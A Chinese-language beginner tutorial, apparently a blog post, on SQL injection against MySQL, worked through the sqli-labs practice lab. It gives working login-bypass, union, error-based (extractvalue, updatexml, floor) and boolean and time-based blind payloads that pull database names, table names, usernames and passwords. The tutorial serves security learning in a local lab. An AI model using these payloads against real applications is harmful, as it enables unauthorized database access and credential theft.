SQL注入部分理论入门学习
文章目录
- 前言
- 什么是SQL注入?
- sql注入的原理
- 入门案例
- sql注入的危害
- 靶场搭建
- 注入分类
- 查找注入点
- 判断注入类型
- 字符型注入
- 数字型注入
- 搜索型注入
- 联合(union)注入
- 数字型联合(union)注入
- 报错注入
- MYSQL报错注入的分类:
- 使用报错注入的前提
- 常用报错注入函数
- extractvalue()报错注入
- updatexml()报错注入
- floor报错注入(group by报错注入)
- 盲注
- 布尔盲注
- 时间盲注(延时注入)
- DNSLog注入(未完成部分 可参考给出的参考目录 或 自行查阅资料)
- POST提交注入
- HTTP头注入
- 堆叠注入
- 二次注入
- 宽字节注入
- SQL过滤与绕过
- SQLmap使用
- 入门实操
- 参考目录
前言
阅读本文前请注意最后编辑时间,文章内容可能与目前最新的技术发展情况相去甚远。欢迎各位评论与私信,指出错误或是进行交流等。
什么是SQL注入?
所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。通过构造一条精巧的语句,来查询到想要得到的信息。
sql注入的原理
概述:针对SQL注入的攻击行为可描述为:在与用户交互的程序中(如web网页),非法用户通过可控参数注入SQL语法,将恶意sql语句输入拼接到原本设计好的SQL语句中,破坏原有SQL语法结构,执行了与原定计划不同的行为,达到程序编写时意料之外结果的攻击行为,其本质就是使用了字符串拼接方式构造sql语句,并且对于用户输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行,从而造成了sql注入
有关sql注入产生的原理要满足以下条件:
1.程序编写者在处理程序和数据库交互时,使用了字符串拼接的方式构造SQL语句
2.不安全的数据库配置,比如对查询集不合理处理,对sql查询语句错误时不当的处理,导致其错误信息暴露在前端
3.过于信任用户在前端所输入的数值,没有过滤用户输入的恶意数据,且未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全
入门案例
一般用户登录用的SQL语句为:SELECT * FROM user WHERE username=‘admin’ AND password=‘passwd’,此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入’or 1#,SQL语句将变为:SELECT * FROM user WHERE username=‘‘or 1#’ AND password=’',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。
sql注入的危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,脱取数据库中的数据内容(脱库),可获取网站管理员帐号、密码悄无声息的进行对网站后台操作等。
- 网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行。
- 网站被挂马:将恶意文件写入数据库,修改数据库字段值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 文件系统操作:列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。
靶场搭建
SQL注入靶场(SQL Injection Lab)是一个用于学习和测试如何防御SQL注入攻击的平台。
SQL注入测试工具之Sqli-labs下载安装 - 知乎 (zhihu.com)
DVWA下载、安装、使用(漏洞测试环境搭建)教程
注入分类
SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型。当输入的参数为字符串时,称为字符型。当输入的参数为整形时,可以认为是数字型注入
按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入。
按执行效果有可以分为报错注入、联合查询注入、盲注,其中盲注又可分为基于bool的和基于时间的注入,HTTP头注入、宽字节注入、二阶注入。
查找注入点
竟然是sql注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1,下图的网页为靶场 Sqli-labs。
或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据。如下这种地方
或者是HTTP请求头部字段如Cookie值。
判断注入类型
字符型注入
SQL中的语句格式:select * from users where id ='x'
判断方法:使用 1’ and ‘1’=‘1 ,1’ and ‘1’='2 来判断
当输入:1’ and ‘1’='1 时页面显示正常
select * from users where id ='x' and '1'='1'
输入:1’ and ‘1’='2 时页面显示异常
select * from users where id ='x' and '1'='2'
说明是字符型注入
此外,字符型注入的SQL语句中,字符串的闭合方式不一定是’,常见的还有 " 、 ')、")
手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数
不需要的语句可以用注释符号“-+”或“#”或%23’注释掉
注释掉:利用注释符号暂时将程序段脱离运行。
把某段程序“注释掉”,就是让它暂时不运行(而非删除掉)。
注意:注释这种操作在任何一种注入方式都可以使用
数字型注入
SQL中的语句格式:select * from users where id =x
判断方法:使用 1 and 1=1 ,1 and 1=2 来判断
当输入:and 1=1 时页面显示正常
select * from users where id =x and 1=1
输入:and 1=2 时页面显示异常
select * from users where id =x and 1=2
说明是数字型注入
搜索型注入
基于搜索框的注入
SQL中的语句格式:select * from database.table where users like ‘%要查询的关键字%’
判断方法:
某个商品名称%’ and 1=1 and ‘%’=’ (这个语句的功能就相当于普通SQL注入的 and 1=1)
select * from database.table where users like '%某个商品名称%' and 1=1 and '%'='%'
# 页面显示正常
某个商品名称%’ and 1=2 and ‘%’=’ (这个语句的功能就相当于普通SQL注入的 and 1=2)
select * from database.table where users like '%某个商品名称%' and 1=2 and '%'='%'
# 页面显示异常
根据上面的返回情况来判断是否存在搜索型注入
联合(union)注入
以 sqli-labs 第1关为例来学习联合注入。如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中 name 值和 password 的值是不一样的,说明此时我们输入的数据和数据库有交互并且将对应数据显示在了浏览器上。
-
注入点判断
开始判断是否存在注入,输入?id=3’,页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞
-
判断是字符型还是数字型注入
输入 ?id=1 页面显示正常
输入 ?id=2 页面显示正常,不能直接认为是数字型。继续测试
输入 ?id=1 and 1=1 页面不正常显示则可认为是字符型注入,字符型需要找到其闭合方式
输入 ?id=1’ and 1=1 --+ 页面正常显示,其闭合方式为单引号 ’
?id=1’ and 1=2 --+ 页面不正常显示 -
判断当前表的字段个数
使用order by n 或者 group by n 来判断当前表中存在的字段个数,当n大于当前表中实际的字段个数时会引发报错。
可以利用二分法来取n的值进行测试,最后输入 ?id=1’ order by 3 --+ 页面无异常反应。
将3修改为4,此时显示未知的列,说明当前表只有3列
- 判断显示位
当在url后面输入 ?id=1’ union select 1,2,3 --+的时候, 发现页面显示没有任何变化。select 1, 2, 3的原因是,我们知道了查询字段有3个。因此,用1 2 3 三个数字去和查询结果作联合查询。但为什么页面没有显示出1 2 3 呢? 这是因为该项目只能显示第一行的内容。因此我们输入
?id=-1’ union select 1,2,3 --+ ,由于第一行id=-1的值不存在,所以查询结果最后就是 1 2 3。
然后原本 username 和 password 的值不返回而返回 2,3。且发现1是不会显示的。
5. 修改联合查询字段
以下为union注入中较为常用的一些函数和环境变量
名称 | 功能 |
---|---|
version() | MySQL 版本 |
user() | 当前数据库用户名 |
database() | 当前数据库名 |
@@version_compile_os | 操作系统版本 |
@@datadir | 数据库路径 |
然后我们把2,3替换为其他语句,如获取当前数据库名的函数
?id=-1’ union select 1,2,database() --+
得到当前数据库名为“security”
- 获取表名和列名
在mysql数据库中,系统库information_schema中有两个表tables和columns包含了mysql数据库中所有库的数据表以及表的所有列名。
# 获取当前数据库所有的表名(group_concat()函数将所有的表名放在一行显示)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
显示当前数据库中存在4个表“emails,referers,uagents,users”
# 获取表的所有列名 以users表为例
#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
获取"users"表中存在3个字段,分别为 “id,username,password”
- 查询其他信息
?id=0' union select 1,group_concat(username, password),3 from users --+
数字型联合(union)注入
与字符型联合注入步骤类似,只是无需判定字符型闭合方式这一步骤。
报错注入
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,例如:后台开启了echo mysql_error() 输出了错误信息。指页面没有回显,但是SQL语句执行可以输出错误信息的情况。这时候我们可以使用多次查询插入重复键值导致count报错,从而在报错信息中带入了敏感信息,使得查询结果能够出现在错误信息中。通过这种方法,我们可以构造恶意语句让数据库回显敏感信息到前端页面来,这个方法在我们无法使用联合查询且前端能返回错误信息的情况下非常实用
MYSQL报错注入的分类:
BIGINT等数据类型溢出
xpath语法错误
floor()报错
列名重复报错
参数不规范报错
使用报错注入的前提
1.页面上没有显示位但是有sql语句执行错误信息输出位。
2.开启生产环境中 Webserver的错误显示,如使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。
常用报错注入函数
这里提供文章供大家深入理解这两个函数
基于extractvalue()的报错注入
updatexml函数-报错注入原理学习
1.extractvalue()
extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为目标XML文档,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要 xpath_expr有效,并且 xml_frag由正确嵌套和关闭的元素组成 - 返回空字符串。不区分空元素的匹配和无匹配。但是如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容
2.updatexml()
最常用的函数,而且比较好记,updatexml(xml_target,xpath_expr,new_xml)接受三个参数,
第一个参数:是目标XML文档
第二个参数:xpath_expr是需要更新的XPATH路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
第三个参数:new_xml 用来替换查找到的符合条件的数据
此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改后的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
以上函数对mysql版本有要求,Mysql版本要大于5.0 以上才能使用
3.floor
floor(x),返回小于或等于x的最大整数
extractvalue()报错注入
- 前面的步骤还是相同,查找注入点
- 判断数字型还是字符型注入
- 如果是字符型注入 判断闭合方式
- 判断字段个数(一般无显示)
- 判断回显位置(一般无显示)
- 尝试利用联合注入的方式(一般无显示)
- 既然使用联合查询的方式失效,尝试使用报错注入的方式。
# 提交 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+ 获取数据库名字
# 写法有很多种
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
?id=1' and extractvalue(1,concat(0x5c,select database())) --+
extractvalue()函数第一个参数任意取,因为即便没有匹配内容,不管出于何种原因,只要 xpath_expr有效,并且 xml_frag由正确嵌套和关闭的元素组成 - 会返回空字符串。不区分空元素的匹配和无匹配。但是如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。因此,我们将第二个参数写错,报错结果原本是会返回该XPATH路径不存在,但在其中插入select查询语句,后台会将查询结果加入进来并显示。
- 获取数据表名
?id=1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c))) --+
- 获取数据表字段名
?id=1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表格名'),0x5c))) --+
- 获取数据
?id=1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from 表格名),0x5c))) --+
updatexml()报错注入
与extractvalue()报错注入类似,只是使用的函数不同,不作过多赘述
# 获取数据库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+# 获取当前数据库中表的名字?id=1' and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema = '数据库名',0x7e),1) --+
# 如果显示的内容超过一行它不能显示那么多,所以在 table_schema='数据库名' 后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)# 获取表的字段
?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='表格名' and table_schema='数据库名' limit 0,1 ),'^'),1) --+# 获取表的内容
?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+
floor报错注入(group by报错注入)
# 思路
select rand(); # 计算结果在0-1之间
select rand() * 2; # 计算结果在0-2之间
select rand() from users; # users表有多少行 显示多少个rand()随机数结果
select floor(rand()*2); # 随机结果为0 或 1
select concat_ws('-', (select database()), floor(rand()*2)) from users;
select concat_ws('-', (select database()), floor(rand()*2)) as a from users group by a;
# 结果分成了两组 security-0 security-1# 出现报错
select count(*), concat_ws('-', (select database()), floor(rand(0)*2)) as a from users group by a;
floor(rand(0)2)的意思是随机产生0或1,对于rand(0),生成的是为随机数011011,即每一次执行rand(0)得到的结果都是固定的。使用group by 和count后,group by 会按顺序从users表中查询记录,建立一张虚拟的表,当表中的主键key存在时,count会自动+1,如果key不存在,则将key插入到临时表中。
- 第一次 concat_ws(‘-’, (select database()), floor(rand(0)*2)) 生成security-0,随后要执行group by。临时表中没有security-0,所以group by 准备插入该key,然而不是直接将已经生成的security-0插入到临时表中并进行count。
- 而是group by 单独进行一次计算(第二次) concat_ws(‘-’, (select database()), floor(rand(0)*2)) 生成security-1,并插入到临时表中,现在临时表中的key仅有security-1,且count为1
- 第三次计算concat_ws(‘-’, (select database()), floor(rand(0)*2)) 生成security-1,随后要执行group by。临时表中有security-1,因此直接count+1
- 第四次计算concat_ws(‘-’, (select database()), floor(rand(0)*2)) 生成security-0,随后要执行group by。临时表中没有security-0,所以group by 准备插入该key
- 单独又进行一次计算(第五次) concat_ws(‘-’, (select database()), floor(rand(0)*2)) 生成security-1,这个时候再插入的时候,临时表中已经存在了security-1的key,就出现了key重复报错。
# 获取数据库
?id=1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))--+# 获取数据表
?id=1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) --+# 获取数据列?id=1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2))) --+# 获取账户与密码?id=1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+?id=1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='用户名'),0x7e,floor(rand(0)*2)))a) --+
盲注
布尔盲注
布尔盲注,即在页面没有回显字段(不支持联合查询),没有错误回显时,完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例
我们输入正确的id,显示You are in …
我们输入错误的语句如id=1’ ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态
- 判断数据库类型
MySQL数据库表 information_schema.tables
access msysobjects
SQLServer sysobjects
用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-8/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-8/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-8/?id=1' and exists(select*from sysobjects) --+
- 判断当前数据库名
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
这里使用到了两个函数 ascii():把字符变成对应的ascii码数字
substr() 字符串截取函数//判断数据库的第一个字符 (不停的去调整比较符合 > 后面的数字 来判断出每一个字符)
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security
- 判断当前库的表名
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
- 判断表的字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........由此可判断出users表中存在 id、username、password 字段
- 获取账户密码
# 判断行数
?id=1' and length((select group_concat(username,password) from users))>109--+
# 对账户和密码的每一位利用ascii值进行判断
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
时间盲注(延时注入)
使用场景:无论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。
(可以尝试基于时间盲注来测试,根据页面响应的时间,来判断输入的信息是否正确)
本质:利用插入的sql语句执行造成时间延迟
以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变
- 注入点判断
?id=1' and if(1=1,sleep(6),1)--+ # 如果 1=1 成立,延迟 6 秒才访问成功
这里会一直转,直到 6 s,如果 条件不成立(比如:1 = 2),那就会直接访问成功,不会转(当然了,实战时要确保网络正常,不然可能会出现误判)
- 获取数据库名字
延时注入与布尔盲注类似,构造方法如下,提交参数
# 判断数据库名长度
?id=1'and if(length((select database()))=8,sleep(6),1)--+
# 解释:如果数据库长度为 8 ,则条件成立,延迟 6 s,否则不延迟,这个数字需要大家自己慢慢去试
# 利用延时来判断每次的语句正确与否# 与布尔盲注类似 利用ascii substr 去判断数据库名每一位字母
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(6),1)--+
- 获取数据库表名
# 判断数据库表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(6),1)--+# 判断数据库表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(6),1)--+
- 获取数据表字段
# 判断所有字段名长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(6),1)--+
# 这里的 users 是通过前面的判断数据库表名得出来的,那一步没过,是到不了这一步的,只有确定了账号密码等信息在哪个表,哪个字段才行# 判断字段名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(6),1)--+
- 获取字段内容
# 判断字段内容长度
# 假设得出存在 username、password等字段,那账号密码等数据大概率保存在这里面
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(6),1)--+# 判断字段内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(6),1)--+
DNSLog注入(未完成部分 可参考给出的参考目录 或 自行查阅资料)
POST提交注入
HTTP头注入
堆叠注入
二次注入
宽字节注入
SQL过滤与绕过
SQLmap使用
SqlMap 是一款强大的开源渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。自带字典 功能强大 界面优化友好 多平台运行它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能可以access,mysql,mssql等数据库的 注入 拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
SQLmap安装教程及使用
渗透测试工具sqlmap基础教程
SQLmap使用教程图文教程(超详细)
入门实操
sqli-labs靶场通关详细讲解
详细sqli-labs(1-65)通关讲解-CSDN博客
关于DVWA靶场及其他靶场的实操以及讲解,各位有兴趣可自行查阅资料。
参考目录
https://www.bilibili.com/video/BV1c34y1h7So
https://blog.csdn.net/dreamthe/article/details/124969922
https://blog.csdn.net/2301_79218813/article/details/135090595
https://blog.csdn.net/chest_/article/details/102537988
https://blog.csdn.net/qq_44159028/article/details/114325805
https://blog.csdn.net/qq_68163788/article/details/135789151
https://blog.csdn.net/qq_68163788/article/details/135789381